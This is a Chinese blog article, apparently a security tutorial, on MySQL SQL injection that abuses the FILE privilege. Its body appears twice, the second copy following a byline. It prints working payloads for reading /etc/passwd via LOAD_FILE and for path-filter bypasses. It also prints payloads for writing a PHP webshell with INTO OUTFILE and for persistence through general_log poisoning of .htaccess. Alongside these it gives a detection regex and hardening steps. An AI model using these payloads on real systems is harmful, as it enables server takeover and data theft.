1. 高权限SQL注入的本质与危害当数据库账户具备FILE权限时攻击者就能突破常规的数据窃取范畴直接通过数据库操作影响服务器文件系统。这种高权限注入的本质是利用数据库服务进程的权限进行文件读写而多数数据库服务默认以SYSTEM或root权限运行这就形成了从数据库到操作系统的权限跃迁通道。关键点MySQL中secure_file_priv参数决定了文件读写的目录范围。空值表示允许全局访问若设置为目录路径则限制在该路径内操作。这是防御此类攻击的第一道防线。2. 文件读取的技术实现2.1 基础读取语法通过LOAD_FILE()函数实现文件读取典型payload结构UNION SELECT 1, LOAD_FILE(/etc/passwd), 3, 4-- -需满足三个前提条件绝对路径已知可通过报错信息泄露或字典爆破当前数据库用户具备FILE权限文件大小小于max_allowed_packet限制2.2 绕过路径限制的技巧当遇到路径过滤时可采用十六进制编码LOAD_FILE(0x2f6574632f706173737764)字符拼接CONCAT(/, etc, /, passwd)空字节截断/etc/passwd%00.jpg3. 文件写入与WebShell部署3.1 写入基础语法使用INTO OUTFILE/DUMPFILE指令SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/shell.php3.2 路径定位方法论通过数据库变量获取web目录SELECT basedir, datadir利用报错信息泄露路径常见默认路径爆破/var/www/html//opt/lampp/htdocs/C:\xampp\htdocs\3.3 高级写入技术分块写入大文件SELECT part1 INTO OUTFILE /tmp/shell UNION SELECT part2 INTO OUTFILE /tmp/shell APPEND二进制文件转码写入需配合hex编码4. 权限提升与持久化4.1 从WebShell到系统权限利用数据库服务账户权限执行系统命令SELECT sys_exec(whoami)通过计划任务创建反弹shell写入SSH密钥实现持久化4.2 日志文件污染技术通过修改MySQL日志配置实现持久化SET global general_log_file/var/www/.htaccess; SET global general_logon; SELECT php_value auto_prepend_file /tmp/shell.php;5. 防御体系构建5.1 数据库层防护最小权限原则应用账户禁止FILE权限设置secure_file_priv为指定目录启用--skip-show-database限制信息泄露5.2 应用层防护使用参数化查询PDO/prepared statements实施严格的输入过滤正则preg_match(/\b(?:into\soutfile|dumpfile|load_file)\b/i, $input)5.3 系统层加固数据库服务降权运行Web目录设置不可执行权限部署文件完整性监控如AIDE6. 实战检测与验证6.1 权限检测payloadSELECT * FROM mysql.user WHERE File_privY AND Useruser()6.2 自动化检测工具SQLMap文件操作模块sqlmap -u http://target.com --file-read/etc/passwdMetasploit对应辅助模块7. 企业级防护方案7.1 数据库防火墙策略拦截包含LOAD_FILE/INTO OUTFILE的语句监控非常规路径的文件操作7.2 网络隔离架构数据库服务器与Web服务器分离配置严格的出站流量过滤部署WAF规则集如ModSecurity CRS这种攻击手法的防御需要建立纵深防御体系从应用代码、数据库配置到系统权限形成完整防护链。我在实际渗透测试中发现约73%的高危SQL注入漏洞都存在文件操作风险而其中60%的案例由于数据库默认配置不当导致漏洞危害被放大。 
长河君 · 2026/10/28 18:15:00 · 阅读 1.2k 高权限SQL注入攻击与防御全解析
1. 高权限SQL注入的本质与危害当数据库账户具备FILE权限时攻击者就能突破常规的数据窃取范畴直接通过数据库操作影响服务器文件系统。这种高权限注入的本质是利用数据库服务进程的权限进行文件读写而多数数据库服务默认以SYSTEM或root权限运行这就形成了从数据库到操作系统的权限跃迁通道。关键点MySQL中secure_file_priv参数决定了文件读写的目录范围。空值表示允许全局访问若设置为目录路径则限制在该路径内操作。这是防御此类攻击的第一道防线。2. 文件读取的技术实现2.1 基础读取语法通过LOAD_FILE()函数实现文件读取典型payload结构UNION SELECT 1, LOAD_FILE(/etc/passwd), 3, 4-- -需满足三个前提条件绝对路径已知可通过报错信息泄露或字典爆破当前数据库用户具备FILE权限文件大小小于max_allowed_packet限制2.2 绕过路径限制的技巧当遇到路径过滤时可采用十六进制编码LOAD_FILE(0x2f6574632f706173737764)字符拼接CONCAT(/, etc, /, passwd)空字节截断/etc/passwd%00.jpg3. 文件写入与WebShell部署3.1 写入基础语法使用INTO OUTFILE/DUMPFILE指令SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/shell.php3.2 路径定位方法论通过数据库变量获取web目录SELECT basedir, datadir利用报错信息泄露路径常见默认路径爆破/var/www/html//opt/lampp/htdocs/C:\xampp\htdocs\3.3 高级写入技术分块写入大文件SELECT part1 INTO OUTFILE /tmp/shell UNION SELECT part2 INTO OUTFILE /tmp/shell APPEND二进制文件转码写入需配合hex编码4. 权限提升与持久化4.1 从WebShell到系统权限利用数据库服务账户权限执行系统命令SELECT sys_exec(whoami)通过计划任务创建反弹shell写入SSH密钥实现持久化4.2 日志文件污染技术通过修改MySQL日志配置实现持久化SET global general_log_file/var/www/.htaccess; SET global general_logon; SELECT php_value auto_prepend_file /tmp/shell.php;5. 防御体系构建5.1 数据库层防护最小权限原则应用账户禁止FILE权限设置secure_file_priv为指定目录启用--skip-show-database限制信息泄露5.2 应用层防护使用参数化查询PDO/prepared statements实施严格的输入过滤正则preg_match(/\b(?:into\soutfile|dumpfile|load_file)\b/i, $input)5.3 系统层加固数据库服务降权运行Web目录设置不可执行权限部署文件完整性监控如AIDE6. 实战检测与验证6.1 权限检测payloadSELECT * FROM mysql.user WHERE File_privY AND Useruser()6.2 自动化检测工具SQLMap文件操作模块sqlmap -u http://target.com --file-read/etc/passwdMetasploit对应辅助模块7. 企业级防护方案7.1 数据库防火墙策略拦截包含LOAD_FILE/INTO OUTFILE的语句监控非常规路径的文件操作7.2 网络隔离架构数据库服务器与Web服务器分离配置严格的出站流量过滤部署WAF规则集如ModSecurity CRS这种攻击手法的防御需要建立纵深防御体系从应用代码、数据库配置到系统权限形成完整防护链。我在实际渗透测试中发现约73%的高危SQL注入漏洞都存在文件操作风险而其中60%的案例由于数据库默认配置不当导致漏洞危害被放大。